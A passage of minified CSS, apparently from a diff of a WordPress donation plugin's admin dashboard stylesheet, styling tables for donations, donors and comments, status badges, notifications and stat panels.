a:hover{text-decoration:underline}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-right{display:flex;align-items:center}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-right .charitable-dashboard-v2-blog-post-image-placeholder{width:106px;height:56px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display{display:flex;gap:10px;align-items:flex-start;margin-bottom:20px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display .charitable-dashboard-v2-blog-post-title{display:flex;align-items:center;gap:10px;font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:600;font-style:normal;font-size:15px;line-height:22px;letter-spacing:0px;color:rgba(25, 29, 45, 0.9);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display .charitable-dashboard-v2-blog-post-title::before{content:"";width:26px;height:26px;flex-shrink:0;background-image:url("data:image/svg+xml,%3Csvg width='26' height='26' viewBox='0 0 26 26' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Ccircle cx='13' cy='13' r='13' fill='%23f56565'/%3E%3Cpath d='M13 6.5L19.5 17.5H6.5L13 6.5Z' fill='white'/%3E%3Cpath d='M13 10.5V14.5' stroke='%23f56565' stroke-width='2' stroke-linecap='round'/%3E%3Ccircle cx='13' cy='17' r='1' fill='%23f56565'/%3E%3C/svg%3E");background-repeat:no-repeat;background-position:center;background-size:contain}.charitable-dashboard-v2-section.no-update-alert .charitable-dashboard-v2-blog-posts{margin-top:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display{display:flex;gap:10px;align-items:flex-start;margin-bottom:20px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display .charitable-dashboard-v2-blog-post-title{display:flex;align-items:center;gap:10px;font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:600;font-style:normal;font-size:15px;line-height:22px;letter-spacing:0px;color:rgba(25, 29, 45, 0.9);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display .charitable-dashboard-v2-blog-post-title::before{content:"";width:26px;height:26px;flex-shrink:0;background-image:url("data:image/svg+xml,%3Csvg width='26' height='26' viewBox='0 0 26 26' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Ccircle cx='13' cy='13' r='13' fill='%23f56565'/%3E%3Cpath d='M13 6.5L19.5 17.5H6.5L13 6.5Z' fill='white'/%3E%3Cpath d='M13 10.5V14.5' stroke='%23f56565' stroke-width='2' stroke-linecap='round'/%3E%3Ccircle cx='13' cy='17' r='1' fill='%23f56565'/%3E%3C/svg%3E");background-repeat:no-repeat;background-position:center;background-size:contain}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer{height:70px;background:white;margin:0;display:flex;align-items:center;border-top:1px solid rgba(24, 36, 69, 0.1)}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer .charitable-dashboard-v2-enhance-campaign-footer-content{display:flex;justify-content:flex-start;align-items:center;width:100%;padding:0 30px}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer .charitable-dashboard-v2-enhance-campaign-footer-content .charitable-dashboard-v2-enhance-campaign-footer-left .charitable-dashboard-v2-addons-link{display:flex;align-items:center;gap:8px;text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer .charitable-dashboard-v2-enhance-campaign-footer-content .charitable-dashboard-v2-enhance-campaign-footer-left .charitable-dashboard-v2-addons-link .charitable-dashboard-v2-addons-text{font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:500;font-size:14px;line-height:16px;letter-spacing:0px;text-align:left;vertical-align:middle;color:rgb(43, 102, 209)}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer .charitable-dashboard-v2-enhance-campaign-footer-content .charitable-dashboard-v2-enhance-campaign-footer-left .charitable-dashboard-v2-addons-link .charitable-dashboard-v2-arrow-icon{color:rgb(43, 102, 209);width:16px;height:16px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer .charitable-dashboard-v2-enhance-campaign-footer-content .charitable-dashboard-v2-enhance-campaign-footer-left .charitable-dashboard-v2-addons-link:hover .charitable-dashboard-v2-addons-text{text-decoration:underline}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-title{font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:700;font-style:normal;font-size:20px;line-height:33px;letter-spacing:0.01em;text-align:center;color:rgba(25, 29, 45, 0.8);margin:0;padding-top:10px}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-features{display:flex;gap:10px 10px;margin:30px 0;justify-content:center}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-column{flex:1;max-width:300px;display:flex;flex-direction:column;gap:20px}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature{display:flex;align-items:flex-start;gap:12px}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature .charitable-dashboard-v2-upgrade-checkmark{width:18px;height:18px;flex-shrink:0;margin-top:2px}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature .charitable-dashboard-v2-upgrade-feature-text{font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:500;font-size:14px;line-height:150%;letter-spacing:0px;color:rgba(25, 29, 45, 0.8);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-actions{display:flex;flex-direction:column;align-items:center;gap:20px;margin-top:30px;padding-bottom:20px}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-upgrade-button{background:rgb(218, 144, 33);border:none;border-radius:4px;padding:22px 42px;font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:600;font-size:19px;line-height:100%;letter-spacing:0px;color:white;cursor:pointer;transition:background-color 0.2s ease;text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-upgrade-button:hover{background:#d89447 !important;text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-learn-more-link{font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:600;font-size:14px;line-height:150%;letter-spacing:0px;text-align:center;text-decoration:underline;color:rgba(25, 29, 45, 0.5);transition:color 0.2s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-learn-more-link:hover{color:rgba(25, 29, 45, 0.7)}.charitable-dashboard-v2-table th:nth-child(1),.charitable-dashboard-v2-table td:nth-child(1){width:205px;padding-left:30px}.charitable-dashboard-v2-table th:nth-child(2),.charitable-dashboard-v2-table td:nth-child(2){width:120px}.charitable-dashboard-v2-table th:nth-child(3),.charitable-dashboard-v2-table td:nth-child(3){width:120px}.charitable-dashboard-v2-table th:nth-child(4),.charitable-dashboard-v2-table td:nth-child(4){width:auto}.charitable-dashboard-v2-table th:nth-child(5),.charitable-dashboard-v2-table td:nth-child(5){width:auto;text-align:center}.campaign-title{display:flex;align-items:center;gap:8px}.campaign-title a{font-family:Inter;font-weight:500;font-style:normal;font-size:15px;line-height:160%;letter-spacing:0px;color:rgb(25, 29, 45);text-decoration:none}.campaign-title a:hover{color:rgb(76, 123, 207)}.charitable-dashboard-v2-table td:nth-child(2),.charitable-dashboard-v2-table td:nth-child(3){font-family:Inter;font-weight:500;font-style:normal;font-size:14px;line-height:100%;letter-spacing:0px;color:rgba(25, 29, 45, 0.8)}.status-badge{display:inline-block;padding:4px 12px;border-radius:12px;font-family:Inter;font-weight:500;font-size:12px;line-height:130%;color:rgba(25, 29, 45, 0.8)}.status-badge.status-active{background:rgba(76, 123, 207, 0.1);color:rgb(76, 123, 207)}.status-badge.status-unsuccessful{background:rgba(234, 78, 100, 0.1);color:rgb(234, 78, 100)}.status-badge.status-cancelled{background:rgba(153, 153, 153, 0.1);color:rgb(153, 153, 153)}.progress-circle{position:relative;display:inline-flex;align-items:center;justify-content:center;width:40px;height:40px;margin:0 auto}.progress-circle svg{position:absolute;top:0;left:0}.progress-text{font-family:Inter;font-weight:600;font-style:normal;font-size:12px;line-height:160%;letter-spacing:0px;color:rgba(25, 29, 45, 0.8);z-index:1}.charitable-dashboard-v2-notifications{display:block;margin-top:20px;max-width:1172px;margin-left:auto;margin-right:auto;padding:0;position:relative;background:white;border:1px solid rgba(24, 36, 69, 0.1);border-radius:4px;box-shadow:0 3px 3px rgba(0, 0, 0, 0.05)}.charitable-dashboard-v2-notifications .charitable-dashboard-notification-bar{position:absolute;top:12px;right:12px;display:flex;align-items:center;gap:8px;z-index:1}.charitable-dashboard-v2-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation{position:static;top:auto;right:auto;display:flex;align-items:center;gap:2px;min-height:auto;padding:0}.charitable-dashboard-v2-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation a{position:static;top:auto;font-size:24px;line-height:1;padding:2px 4px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation .charitable-dashboard-notification-counter{font-size:13px;color:#666;white-space:nowrap;padding:0 2px;line-height:1}.charitable-dashboard-v2-notifications .charitable-dashboard-notification-bar .charitable-remove-dashboard-notification{position:static;top:auto;right:auto}.charitable-dashboard-v2-notifications .charitable-dashboard-notification{margin:0;border:0;background:white;border-radius:0;box-shadow:none}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message{padding:15px 20px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message .charitable-dashboard-notification-headline{margin:0 0 10px 0;font-size:16px;font-weight:600;color:#1d2327;display:flex;align-items:center;gap:6px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message .charitable-notification-type-icon{font-size:18px;width:18px;height:18px;line-height:1;flex-shrink:0}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message p{margin:0 0 10px 0;line-height:1.5}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message ul{margin:10px 0;padding-left:20px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message ul li{margin-bottom:5px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message .charitable-notification-cta-button{display:inline-block;padding:8px 16px;background-color:#5aa152;color:#fff;font-size:13px;font-weight:600;line-height:1.5;text-decoration:none;border-radius:4px;margin-top:5px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message .charitable-notification-cta-button:hover{background-color:#4a8a44;color:#fff}.charitable-dashboard-v2-notifications .charitable-dashboard-notification[data-notification-type=notice] .charitable-notification-type-icon{color:#00a0d2}.charitable-dashboard-v2-notifications .charitable-dashboard-notification[data-notification-type=warning] .charitable-notification-type-icon{color:#ffb900}.charitable-dashboard-v2-notifications .charitable-dashboard-notification[data-notification-type=error] .charitable-notification-type-icon{color:#dc3232}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-bar{display:flex;justify-content:space-between;align-items:center;padding:10px 15px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-bar .charitable-remove-dashboard-notification{color:#666;text-decoration:none;font-size:18px;line-height:1}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-bar .charitable-remove-dashboard-notification:hover{color:#000}.charitable-dashboard-v2-enhance-grid-icon{display:flex;align-items:center;justify-content:center}.charitable-dashboard-v2-table{width:100%;border-collapse:collapse}.charitable-dashboard-v2-table thead th{background:rgba(25, 29, 45, 0.02);font-family:Inter;font-weight:500;font-style:normal;font-size:13px;line-height:130%;letter-spacing:0px;color:rgba(25, 29, 45, 0.5);padding:16px 12px;text-align:left;border-bottom:1px solid rgba(24, 36, 69, 0.1)}.charitable-dashboard-v2-table tbody td{padding:16px 12px;border-bottom:1px solid rgba(24, 36, 69, 0.05)}.charitable-dashboard-v2-table tbody tr:last-child td{border-bottom:none}.charitable-dashboard-v2-table-donations{margin-top:0}.charitable-dashboard-v2-table-donations th{background-color:rgb(248, 250, 252);border-bottom:1px solid rgb(226, 232, 240);padding:16px 20px;text-align:left;font-family:Inter;font-weight:600;font-size:14px;line-height:140%;color:rgba(25, 29, 45, 0.8)}.charitable-dashboard-v2-table-donations th:last-child{text-align:right;padding:16px 35px}.charitable-dashboard-v2-table-donations th:first-child,.charitable-dashboard-v2-table-donations td:first-child{width:calc(100% - 120px) !important}.charitable-dashboard-v2-table-donations th:last-child,.charitable-dashboard-v2-table-donations td:last-child{width:auto !important}.charitable-dashboard-v2-table-donations tr{transition:background-color 0.2s ease}.charitable-dashboard-v2-table-donations tr:hover{background-color:rgba(248, 250, 252, 0.8)}.charitable-dashboard-v2-table tr{transition:background-color 0.2s ease}.charitable-dashboard-v2-table tr:hover{background-color:rgba(248, 250, 252, 0.8)}.charitable-dashboard-v2-table-donations td{padding:20px;border-bottom:1px solid rgb(226, 232, 240);vertical-align:top}.charitable-dashboard-v2-table-donations td:last-child{padding-right:30px;text-align:right;vertical-align:middle}.donation-details{display:flex;flex-direction:column;gap:8px}.donation-header{display:grid;grid-template-columns:1fr 1fr;grid-template-rows:auto auto;gap:8px 20px;align-items:start;text-align:left}.donation-name{font-family:Inter;font-weight:500;font-style:normal;font-size:15px;line-height:160%;letter-spacing:0px;color:rgb(25, 29, 45)}.donation-name a{color:rgb(25, 29, 45);text-decoration:none;transition:color 0.2s ease;font-size:11px;font-weight:400}.donation-name a:hover{color:rgb(43, 102, 209);text-decoration:underline}.donation-timestamp{font-weight:200;font-size:11px;margin-top:4px;margin-left:0}.donation-amount{font-family:Inter;font-weight:500;font-style:normal;font-size:14px;line-height:100%;letter-spacing:0px;color:rgba(25, 29, 45, 0.8)}.donation-method{font-family:Inter;font-weight:500;font-style:normal;font-size:14px;line-height:100%;letter-spacing:0px;color:rgba(25, 29, 45, 0.8)}.donation-amount strong,.donation-method strong{font-weight:700}.donation-method strong,.donation-amount strong{color:rgba(25, 29, 45, 0.8)}.donation-method-stripe{color:#645aff !important}.charitable-dashboard-v2-table-comments{margin-top:0}.charitable-dashboard-v2-table-donors{margin-top:0}.charitable-dashboard-v2-table-donors th{background-color:rgb(248, 250, 252);border-bottom:1px solid rgb(226, 232, 240);padding:16px 20px;text-align:left;font-family:Inter;font-weight:600;font-size:13px;line-height:16px;letter-spacing:0px;color:rgba(25, 29, 45, 0.8)}.charitable-dashboard-v2-table-donors td{padding:16px 20px;border-bottom:1px solid rgba(226, 232, 240, 0.5);vertical-align:middle}.donor-avatar img{border-radius:50%;width:40px;height:40px;object-fit:cover}.donor-details{display:flex;flex-direction:column;gap:4px}.donor-name{font-family:Inter;font-weight:600;font-size:14px;line-height:160%;letter-spacing:0px;color:rgba(25, 29, 45, 0.9)}.donor-email{font-family:Inter;font-weight:400;font-size:13px;line-height:150%;letter-spacing:0px;color:rgba(25, 29, 45, 0.7)}.donor-amount{font-family:Inter;font-weight:600;font-size:14px;line-height:160%;letter-spacing:0px;color:rgb(25, 29, 45)}.donor-badge{display:inline-flex;align-items:center;padding:4px 12px;border-radius:12px;font-family:Inter;font-weight:500;font-size:12px;line-height:16px;letter-spacing:0px;text-align:center}.donor-badge.recurring{background-color:rgba(59, 130, 246, 0.1);color:rgb(59, 130, 246)}.donor-badge.multiple{background-color:rgba(16, 185, 129, 0.1);color:rgb(16, 185, 129)}.donor-badge.one-time{background-color:rgba(245, 158, 11, 0.1);color:rgb(245, 158, 11)}.charitable-dashboard-v2-table.charitable-dashboard-v2-table-donors th:nth-child(1),.charitable-dashboard-v2-table.charitable-dashboard-v2-table-donors td:nth-child(1){width:30px !important;padding-left:30px}.charitable-dashboard-top-campaigns .charitable-dashboard-v2-table th:last-child,.charitable-dashboard-top-campaigns .charitable-dashboard-v2-table td:last-child{padding-right:30px}.charitable-dashboard-v2-tab-nav-item:focus{outline:none}.charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav-item:focus{outline:none}.charitable-dashboard-v2-quick-access-items a{position:relative;text-decoration:none !important}.charitable-dashboard-v2-quick-access-items a::before{content:"";position:absolute;width:100%;height:2px;border-radius:2px;background-color:#18272F;bottom:-4px;left:0;transform-origin:right;transform:scaleX(0);transition:transform 0.3s ease-in-out}.charitable-dashboard-v2-quick-access-items a:hover::before{transform-origin:left;transform:scaleX(1)}.charitable-dashboard-v2-rate-link{display:flex !important;align-items:center !important;gap:8px !important;transition:gap 0.3s ease !important;text-decoration:none !important}.charitable-dashboard-v2-rate-link:hover{gap:4px !important;text-decoration:none !important}.charitable-dashboard-v2-rate-link .charitable-dashboard-v2-rate-text,.charitable-dashboard-v2-rate-link .charitable-dashboard-v2-arrow-icon{display:inline-block}.charitable-dashboard-v2-addons-link{display:flex !important;align-items:center !important;gap:8px !important;transition:gap 0.3s ease !important;text-decoration:none !important}.charitable-dashboard-v2-addons-link:hover{gap:4px !important;text-decoration:none !important}.charitable-dashboard-v2-addons-link .charitable-dashboard-v2-addons-text,.charitable-dashboard-v2-addons-link .charitable-dashboard-v2-arrow-icon{display:inline-block}.charitable-dashboard-v2-table-container{max-height:400px;overflow-y:auto}.charitable-dashboard-v2-table-comments th{background-color:rgb(248, 250, 252);border-bottom:1px solid rgb(226, 232, 240);padding:16px 20px;text-align:left;font-family:Inter;font-weight:600;font-size:14px;line-height:140%;color:rgba(25, 29, 45, 0.8)}.charitable-dashboard-v2-table-comments th:last-child{text-align:right;padding:16px 35px}.charitable-dashboard-v2-table-comments th:first-child,.charitable-dashboard-v2-table-comments td:first-child{width:calc(100% - 120px) !important}.charitable-dashboard-v2-table-comments th:last-child,.charitable-dashboard-v2-table-comments td:last-child{width:auto !important}.charitable-dashboard-v2-table-comments tr{transition:background-color 0.2s ease}.charitable-dashboard-v2-table-comments tr:hover{background-color:rgba(248, 250, 252, 0.8)}.charitable-dashboard-v2-table-comments td{padding:20px;border-bottom:1px solid rgb(226, 232, 240);vertical-align:top}.charitable-dashboard-v2-table-comments td:last-child{padding-right:30px;text-align:right;vertical-align:middle}.comment-details{display:flex;flex-direction:column;gap:8px}.comment-header{display:flex;flex-direction:column;gap:8px;align-items:flex-start;text-align:left}.comment-name{font-family:Inter;font-weight:600;font-style:normal;font-size:14px;line-height:160%;letter-spacing:0px;color:rgba(25, 29, 45, 0.9)}.comment-text{font-family:Inter;font-weight:500;font-size:13px;line-height:150%;letter-spacing:0px;color:rgba(25, 29, 45, 0.8)}.comment-actions{display:flex;align-items:center;justify-content:end;gap:10px}.comment-action{display:flex;align-items:center;gap:4px;font-family:Inter;font-weight:500;font-size:13px;line-height:16px;letter-spacing:0px;vertical-align:middle;text-decoration:underline;text-decoration-style:solid;text-decoration-offset:0%;text-decoration-thickness:0%;color:rgba(25, 29, 45, 0.7);transition:color 0.2s ease}.comment-action:hover{color:rgba(25, 29, 45, 0.9)}.comment-action.approve{color:rgba(25, 29, 45, 0.7)}.comment-action.approve:hover{color:rgba(25, 29, 45, 0.9)}.comment-action.delete{color:rgba(25, 29, 45, 0.7)}.comment-action.delete:hover{color:rgba(25, 29, 45, 0.9)}.comment-action-separator{color:rgba(25, 29, 45, 0.3);font-weight:400;font-size:11px}.comment-status-approved{color:rgb(15, 139, 0);font-family:Inter;font-weight:500;font-size:13px;line-height:16px;letter-spacing:0px}.status-badge{display:inline-flex;align-items:center;padding:6px 12px;border-radius:6px;font-family:Inter;font-weight:500;font-style:normal;font-size:13px;line-height:130%;letter-spacing:0px;text-align:center;white-space:nowrap}.status-paid,.status-active,.status-approved{background-color:#eafbe8;color:rgb(15, 139, 0)}.charitable-dashboard-v2-placeholder{display:flex;flex-direction:column;align-items:center;justify-content:center;padding:60px 20px;text-align:center}.charitable-dashboard-v2-placeholder-icon{margin-bottom:24px}.charitable-dashboard-v2-placeholder-title{font-family:Inter;font-weight:600;font-style:normal;font-size:20px;line-height:130%;letter-spacing:0px;color:rgba(25, 29, 45, 0.8);margin:0 0 12px 0}.charitable-dashboard-v2-placeholder-description{font-family:Inter;font-weight:400;font-style:normal;font-size:15px;line-height:160%;letter-spacing:0px;color:rgba(25, 29, 45, 0.6);margin:0;max-width:400px}.charitable-dashboard-v2-empty-state-content .charitable-dashboard-v2-button{display:inline-block;padding:10px 20px;background:rgb(218, 144, 33);color:white;text-decoration:none;border-radius:4px;font-weight:600;font-size:14px;transition:background-color 0.2s ease;margin-top:10px;border:0}.charitable-dashboard-v2-empty-state-content .charitable-dashboard-v2-button:hover{background:rgb(196, 130, 30);color:white;text-decoration:none}.charitable-dashboard-v2-empty-state-content .charitable-dashboard-v2-button:disabled{background:#9CA3AF;cursor:not-allowed}.charitable-dashboard-v2-empty-state-content .charitable-dashboard-v2-button .button-loading{display:inline-flex;align-items:center;gap:8px} \ No newline at end of file +@import url(https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;800&display=swap);.charitable_page_charitable-dashboard #charitable-dashboard-v2 .tablenav{font-family:Inter,sans-serif!important;min-height:30px;height:auto;margin-top:0;margin-bottom:0}.charitable_page_charitable-dashboard #charitable-dashboard-v2 .tablenav .alignleft,.charitable_page_charitable-dashboard #charitable-dashboard-v2 .tablenav .alignright{margin-top:10px;margin-bottom:10px}.charitable-dashboard-v2-header{margin-top:40px;margin-bottom:40px}.charitable-dashboard-v2-header .charitable-dashboard-v2-header-content{display:flex;justify-content:space-between;align-items:center;max-width:1172px;margin:0 auto}.charitable-dashboard-v2-header .charitable-dashboard-v2-header-content .charitable-dashboard-v2-header-left h1{margin:0;color:#303442;font-size:24px;font-weight:600;line-height:1.2}.charitable-dashboard-v2-header .charitable-dashboard-v2-header-content .charitable-dashboard-v2-header-right .charitable-button{background-color:#5aa152;border-color:#5aa152;color:#fff;padding:8px 16px;font-weight:500}.charitable-dashboard-v2-header .charitable-dashboard-v2-header-content .charitable-dashboard-v2-header-right .charitable-button:hover{background-color:#43833b;border-color:#43833b}.charitable-dashboard-v2-header-bar{display:flex;justify-content:space-between;align-items:center;width:calc(100% - 60px);height:80px}.charitable-dashboard-v2-header-bar .charitable-dashboard-v2-header-bar-left{display:flex;align-items:center}.charitable-dashboard-v2-header-bar .charitable-dashboard-v2-header-bar-right{display:flex;align-items:center}.charitable-dashboard-v2-header-bar-chart{width:100%;height:300px;margin-top:20px}.charitable-dashboard-v2-header-bar-chart .charitable-headline-graph{width:100%;height:100%}.charitable-dashboard-v2-header-bar-chart .charitable-headline-graph .apexcharts-canvas{margin:0 auto}#time-period-filter{font-size:13px;line-height:29px;font-weight:500;max-width:none;padding:5px 30px 5px 12px;background-color:#f9f9fa;color:#52545f;border:1px solid #e4e4e7;border-radius:4px;height:40px;font-family:Inter,sans-serif}.charitable-dashboard-v2-download-button{font-family:Inter;font-weight:600;font-style:normal;font-size:13px;line-height:100%;letter-spacing:0;color:rgba(14,33,33,.7);background:#fff;border:1px solid rgba(14,33,33,.14);border-radius:4px;padding:10px 16px;height:40px;cursor:pointer;transition:all .2s ease;display:flex;align-items:center;gap:8px}.charitable-dashboard-v2-download-button:hover{background:rgba(14,33,33,.02);border-color:rgba(14,33,33,.2)}.charitable-dashboard-v2-download-icon{width:15px;height:14px;color:rgba(14,33,33,.7)}.charitable-dashboard-v2-print-button{display:flex;align-items:center;justify-content:center;width:40px;height:40px;padding:0;background:#fff;border:1px solid #e4e4e7;border-radius:4px;cursor:pointer;transition:all .2s ease}.charitable-dashboard-v2-print-button:hover{background:#f9f9fa;border-color:rgba(14,33,33,.2)}.charitable-dashboard-v2-print-button:focus{outline:0;box-shadow:0 0 0 1px #e4e4e7}.charitable-dashboard-v2-print-button .charitable-dashboard-v2-print-icon{display:block;width:16px;height:16px}#charitable-dashboard-v2-print{display:flex;align-items:center;margin:0;padding:0}.charitable-dashboard-v2-stats-row-section{padding:0 0 20px 0!important}.charitable-dashboard-v2-stats-row-section .charitable-dashboard-v2-header-bar{padding:0 30px}.charitable-dashboard-v2-stats-row{display:flex;width:100%;border-top:1px solid rgba(25,29,45,.15);border-bottom:1px solid rgba(25,29,45,.15)}.charitable-dashboard-v2-stat-item{flex:1;padding:30px;border-right:1px solid rgba(25,29,45,.15);text-align:left}.charitable-dashboard-v2-stat-item:last-child{border-right:none}.charitable-dashboard-v2-stat-title{font-family:Inter;font-weight:500;font-style:normal;font-size:12px;line-height:100%;letter-spacing:0;color:rgba(25,29,45,.6);margin-bottom:8px}.charitable-dashboard-v2-stat-amount{font-family:Inter;font-weight:600;font-style:normal;font-size:20px;line-height:100%;letter-spacing:0;color:rgba(25,29,45,.8);display:flex;align-items:center;gap:8px}.charitable-dashboard-v2-stat-change{display:flex;align-items:center;gap:4px;font-family:Inter;font-weight:600;font-style:normal;font-size:13px;line-height:100%;letter-spacing:0;color:#31944d}.charitable-dashboard-v2-stat-change.charitable-dashboard-v2-stat-change-positive{color:#31944d}.charitable-dashboard-v2-stat-change.charitable-dashboard-v2-stat-change-negative{color:#dc2626}.charitable-dashboard-v2-stat-change.charitable-dashboard-v2-stat-change-zero{color:#000}.charitable-dashboard-v2-layout{display:flex;gap:20px;margin-top:20px;max-width:1172px;margin-left:auto;margin-right:auto}.charitable-dashboard-v2-layout .charitable-dashboard-v2-left-column{flex:0 0 700px;display:flex;flex-direction:column;gap:20px}.charitable-dashboard-v2-layout .charitable-dashboard-v2-right-column{flex:0 0 452px;display:flex;flex-direction:column;gap:20px}@media (max-width:1200px){.charitable-dashboard-v2-layout{flex-direction:column}.charitable-dashboard-v2-layout .charitable-dashboard-v2-left-column,.charitable-dashboard-v2-layout .charitable-dashboard-v2-right-column{flex:1 1 100%}}.charitable-dashboard-v2-section{background:#fff;border:1px solid rgba(24,36,69,.1);border-radius:4px;box-shadow:0 3px 3px rgba(0,0,0,.05);min-height:120px;overflow:hidden}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header{height:70px;background:#fff;border-bottom:1px solid rgba(24,36,69,.1);display:flex;align-items:center;justify-content:space-between;padding:0 25px}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header h3{font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:700;font-style:normal;font-size:17px;line-height:130%;letter-spacing:0;color:rgba(25,29,45,.9);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-toggle{display:flex;align-items:center;justify-content:center;width:24px;height:24px;text-decoration:none;color:rgba(25,29,45,.6);transition:color .2s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-toggle:hover{color:rgba(25,29,45,.9)}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-toggle .charitable-dashboard-v2-angle-down{font-size:16px;transition:transform .3s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav{display:flex;align-items:center;height:100%;width:100%}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav .charitable-dashboard-v2-tab-nav-item{display:flex;align-items:center;height:100%;padding:0 30px;font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:700;font-style:normal;font-size:14px;line-height:130%;letter-spacing:0;color:rgba(25,29,45,.5);text-decoration:none;border-right:1px solid rgba(24,36,69,.1);transition:color .2s ease;cursor:pointer}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav .charitable-dashboard-v2-tab-nav-item:last-child{border-right:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav .charitable-dashboard-v2-tab-nav-item:hover{color:rgba(25,29,45,.7)}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav .charitable-dashboard-v2-tab-nav-item.charitable-dashboard-v2-tab-nav-active{color:#33842a;border-bottom-color:#33842a}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content{padding:0 0 20px 0;transition:all .3s ease;overflow:hidden}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content p{margin:0;color:#52545f;font-size:14px;line-height:1.5}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content:has(.charitable-dashboard-v2-enhance-grid){padding:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content:has(.charitable-dashboard-v2-latest-updates-background){padding-top:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content .charitable-dashboard-v2-tab-content{display:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content .charitable-dashboard-v2-tab-content.charitable-dashboard-v2-tab-content-active{display:block}.charitable-dashboard-v2-section.charitable-dashboard-v2-collapsible .charitable-dashboard-v2-section-content{max-height:none;opacity:1;transition:max-height .3s ease,opacity .3s ease,padding .3s ease}.charitable-dashboard-v2-section.charitable-dashboard-v2-collapsible.charitable-dashboard-v2-collapsed 